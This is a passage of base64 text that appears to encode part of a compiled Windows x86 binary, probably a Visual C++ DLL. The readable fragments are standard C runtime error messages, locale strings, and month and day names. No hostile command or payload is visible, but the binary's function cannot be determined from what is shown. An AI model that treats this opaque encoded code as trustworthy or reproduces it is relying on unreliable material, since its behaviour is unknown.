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8AcgAgAAAAAAANAAoAAAAAAFQATABPAFMAUwAgAGUAcgByAG8AcgANAAoAAABTAEkATgBHACAAZQByAHIAbwByAA0ACgAAAAAARABPAE0AQQBJAE4AIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMwAzAA0ACgAtACAAQQB0AHQAZQBtAHAAdAAgAHQAbwAgAHUAcwBlACAATQBTAEkATAAgAGMAbwBkAGUAIABmAHIAbwBtACAAdABoAGkAcwAgAGEAcwBzAGUAbQBiAGwAeQAgAGQAdQByAGkAbgBnACAAbgBhAHQAaQB2AGUAIABjAG8AZABlACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuACAASQB0ACAAaQBzACAAbQBvAHMAdAAgAGwAaQBrAGUAbAB5ACAAdABoAGUAIAByAGUAcwB1AGwAdAAgAG8AZgAgAGMAYQBsAGwAaQBuAGcAIABhAG4AIABNAFMASQBMAC0AYwBvAG0AcABpAGwAZQBkACAAKAAvAGMAbAByACkAIABmAHUAbgBjAHQAaQBvAG4AIABmAHIAbwBtACAAYQAgAG4AYQB0AGkAdgBlACAAYwBvAG4AcwB0AHIAdQBjAHQAbwByACAAbwByACAAZgByAG8AbQAgAEQAbABsAE0AYQBpAG4ALgANAAoAAAAAAFIANgAwADMAMgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGwAbwBjAGEAbABlACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAA0ACgAAAAAAUgA2ADAAMwAxAA0ACgAtACAAQQB0AHQAZQBtAHAAdAAgAHQAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAIAB0AGgAZQAgAEMAUgBUACAAbQBvAHIAZQAgAHQAaABhAG4AIABvAG4AYwBlAC4ACgBUAGgAaQBzACAAaQBuAGQAaQBjAGEAdABlAHMAIABhACAAYgB1AGcAIABpAG4AIAB5AG8AdQByACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC4ADQAKAAAAAABSADYAMAAzADAADQAKAC0AIABDAFIAVAAgAG4AbwB0ACA